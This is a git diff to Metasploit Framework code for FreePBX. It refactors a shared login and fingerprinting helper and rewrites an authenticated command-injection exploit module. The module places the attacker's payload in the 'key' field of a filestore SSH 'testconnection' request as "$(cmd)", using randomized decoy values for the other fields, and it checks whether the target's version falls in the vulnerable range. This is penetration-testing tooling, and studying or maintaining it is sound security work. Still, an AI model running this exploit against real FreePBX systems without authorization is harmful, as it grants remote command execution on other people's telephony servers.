diff --git a/lib/msf/core/exploit/remote/http/freepbx.rb b/lib/msf/core/exploit/remote/http/freepbx.rb
index 7d3f5d1e44..e687892e49 100644
--- a/lib/msf/core/exploit/remote/http/freepbx.rb
+++ b/lib/msf/core/exploit/remote/http/freepbx.rb
@@ -8,6 +8,14 @@ module Msf
# Shared routines for FreePBX modules
#
module FreePBX
+ # Get the admin config URI
+ #
+ # @return [String] Admin config URI path
+ #
+ def freepbx_admin_uri
+ normalize_uri(target_uri.path, 'admin', 'config.php')
+ end
+
# Get the Referer header for FreePBX requests
#
# @return [String] Referer URL
@@ -15,10 +23,11 @@ module Msf
def freepbx_referer
host = datastore['RHOSTS'] || rhost
host = '127.0.0.1' if host == '::1' || host == 'localhost'
- "http#{datastore['SSL'] ? 's' : ''}://#{host}:#{rport}#{normalize_uri(target_uri.path, 'admin', 'config.php')}"
+ protocol = datastore['SSL'] ? 'https' : 'http'
+ "#{protocol}://#{host}:#{rport}#{freepbx_admin_uri}"
end
- # Authenticate with supplied credentials and return the session cookie.
+ # Authenticate with supplied credentials and return the session cookie
#
# @param username [String] FreePBX username
# @param password [String] FreePBX password
@@ -26,54 +35,77 @@ module Msf
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
#
def freepbx_login(username, password, timeout = 20)
- # Get initial session and login page
- res = send_request_cgi({
- 'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'),
- 'method' => 'GET',
- 'headers' => { 'Referer' => freepbx_referer }
- }, timeout)
+ cache_key = "#{username}:#{password}"
+ if @freepbx_auth_cache && @freepbx_auth_cache[cache_key]
+ return @freepbx_auth_cache[cache_key]
+ end
+ data = freepbx_get_login_page_data(timeout)
+ res = data[:response]
return nil unless res
- # Extract session cookie
cookie = res.get_cookies
return nil if cookie.empty?
- # Extract CSRF token if present
- token = nil
- if res.body =~ /name="token"\s+value="([^"]+)"/
- token = Regexp.last_match(1)
- end
-
- # Login POST
- post_data = {
- 'username' => username,
- 'password' => password
- }
- post_data['token'] = token if token
-
- res = send_request_cgi({
- 'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'),
+ login_response = send_request_cgi({
+ 'uri' => freepbx_admin_uri,
'method' => 'POST',
'cookie' => cookie,
'headers' => {
'Referer' => freepbx_referer,
'Content-Type' => 'application/x-www-form-urlencoded'
},
- 'vars_post' => post_data
+ 'vars_post' => {
+ 'username' => username,
+ 'password' => password
+ }
}, timeout)
- return nil unless res
+ return nil unless login_response
- if res.code == 302 || (res.code == 200 && !res.body.include?('Login'))
- new_cookie = res.get_cookies
-
- return new_cookie unless new_cookie.empty?
-
- return cookie
+ body_lower = login_response.body.downcase
+ if body_lower.include?('invalid username or password') && body_lower.include?('obe_error')
+ @freepbx_auth_cache ||= {}
+ @freepbx_auth_cache[cache_key] = :auth_failed
+ return :auth_failed
end
- nil
+ return nil unless login_response.code == 302 || (login_response.code == 200 && !login_response.body.include?('Login'))
+
+ new_cookie = login_response.get_cookies
+ result = new_cookie.empty? ? cookie : new_cookie
+ @freepbx_auth_cache ||= {}
+ @freepbx_auth_cache[cache_key] = result
+ result
+ end
+
+ # Get or create the login page data
+ #
+ # @param timeout [Integer] Request timeout
+ # @return [Hash] Hash with :response and :detected keys
+ #
+ def freepbx_get_login_page_data(timeout = 20)
+ return @freepbx_login_page if @freepbx_login_page
+
+ res = send_request_cgi({
+ 'uri' => freepbx_admin_uri,
+ 'method' => 'GET',
+ 'headers' => { 'Referer' => freepbx_referer }
+ }, timeout)
+
+ body_lower = res&.body&.downcase || ''
+ detected = (res&.code == 200) && (
+ body_lower.match?(%r{
freepbx\s+administration}) ||
+ (body_lower.include?('freepbx administration') && body_lower.include?('loginform')) ||
+ body_lower.include?('assets/js/freepbx.js') ||
+ body_lower.include?('freepbx-navbar') ||
+ (body_lower.match?(/id=["']loginform["']/) && body_lower.include?('freepbx'))
+ )
+
+ @freepbx_login_page = {
+ response: res,
+ detected: detected
+ }
end
end
end
diff --git a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
index 3a039e8825..53f1700e2b 100644
--- a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
+++ b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
@@ -83,36 +83,49 @@ class MetasploitModule < Msf::Exploit::Remote
end
def check
- cookie = freepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
- return CheckCode::Unknown('Authentication failed') unless cookie
+ data = freepbx_get_login_page_data
+ unless data[:detected]
+ vprint_status('Target does not appear to be FreePBX')
+ return CheckCode::Safe('Not FreePBX')
+ end
- # Try to get filestore version
- version = get_filestore_version
- return CheckCode::Appears('Filestore module is accessible') unless version
+ cookie = authenticate
+ return CheckCode::Detected('Invalid credentials') if cookie == :auth_failed
+ return CheckCode::Safe('Not FreePBX') if cookie.nil?
- # Version 17.0.3 and above are patched
- return CheckCode::Safe("Patched filestore version #{version} detected") unless Rex::Version.new(version) < Rex::Version.new('17.0.3')
+ version = get_filestore_version_cached(cookie)
+ return CheckCode::Detected('Filestore module version could not be determined') unless version
- # Version 17.0.2.36 is the first vulnerable version (file was introduced in this version)
- return CheckCode::Safe("Filestore version #{version} is not vulnerable (vulnerability introduced in 17.0.2.36)") if Rex::Version.new(version) < Rex::Version.new('17.0.2.36')
+ version_obj = Rex::Version.new(version)
+ return CheckCode::Safe("Filestore module patched (version #{version})") if version_obj >= Rex::Version.new('17.0.3')
+ return CheckCode::Safe("Filestore module version #{version} not vulnerable") if version_obj < Rex::Version.new('17.0.2.36')
- CheckCode::Appears("Vulnerable filestore version #{version} detected")
+ CheckCode::Appears("Filestore module vulnerable (version #{version})")
+ end
+
+ def exploit
+ cookie = authenticate
+ fail_with(Failure::NoAccess, 'Invalid credentials') if cookie == :auth_failed
+ fail_with(Failure::Unknown, 'Connection error') if cookie.nil?
+
+ get_filestore_version_cached(cookie)
+ execute_command(payload.encoded, { cookie: cookie })
end
def authenticate
- @cookie ||= freepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
- fail_with(Failure::NoAccess, 'Authentication failed') unless @cookie
- @cookie
+ data = freepbx_get_login_page_data
+ return nil unless data[:detected]
+
+ freepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
end
- def get_filestore_version
- authenticate unless @cookie
+ def get_filestore_version_cached(cookie)
+ return @filestore_version if @filestore_version
- # Get version from the filestore page HTML (JavaScript includes version)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'),
- 'cookie' => @cookie,
+ 'cookie' => cookie,
'headers' => { 'Referer' => freepbx_referer },
'vars_get' => {
'display' => 'filestore'
@@ -121,14 +134,18 @@ class MetasploitModule < Msf::Exploit::Remote
return nil unless res&.code == 200
- # Extract version from JavaScript file reference: filesystem.js?load_version=17.0.2.44
match = res.body.match(/filesystem\.js\?load_version=(\d+\.\d+\.\d+\.\d+)/)
- return nil unless
- match[1]
+ return nil unless match
+
+ version = match[1]
+ vprint_status("Filestore module version: #{version}")
+ @filestore_version = version
+ version
end
- def send_filestore_request(vars_post = {})
- cookie = authenticate
+ def execute_command(cmd, opts = {})
+ cookie = opts[:cookie]
+ fail_with(Failure::BadConfig, 'Missing authentication cookie') unless cookie
send_request_cgi(
'method' => 'POST',
@@ -143,24 +160,13 @@ class MetasploitModule < Msf::Exploit::Remote
'command' => 'testconnection',
'driver' => 'SSH'
},
- 'vars_post' => vars_post
+ 'vars_post' => {
+ 'host' => "#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}",
+ 'port' => rand(1024..65535).to_s,
+ 'user' => Rex::Text.rand_text_alphanumeric(8),
+ 'key' => "$(#{cmd})",
+ 'path' => "/#{Rex::Text.rand_text_alphanumeric(8)}"
+ }
)
end
-
- def execute_command(cmd, _opts = {})
- send_filestore_request(
- 'host' => "#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}",
- 'port' => rand(1024..65535).to_s,
- 'user' => Rex::Text.rand_text_alphanumeric(8),
- 'key' => "$(#{cmd})",
- 'path' => "/#{Rex::Text.rand_text_alphanumeric(8)}"
- )
- end
-
- def exploit
- authenticate
- version = get_filestore_version
- vprint_status("Filestore module version: #{version}") if version
- execute_command(payload.encoded)
- end
end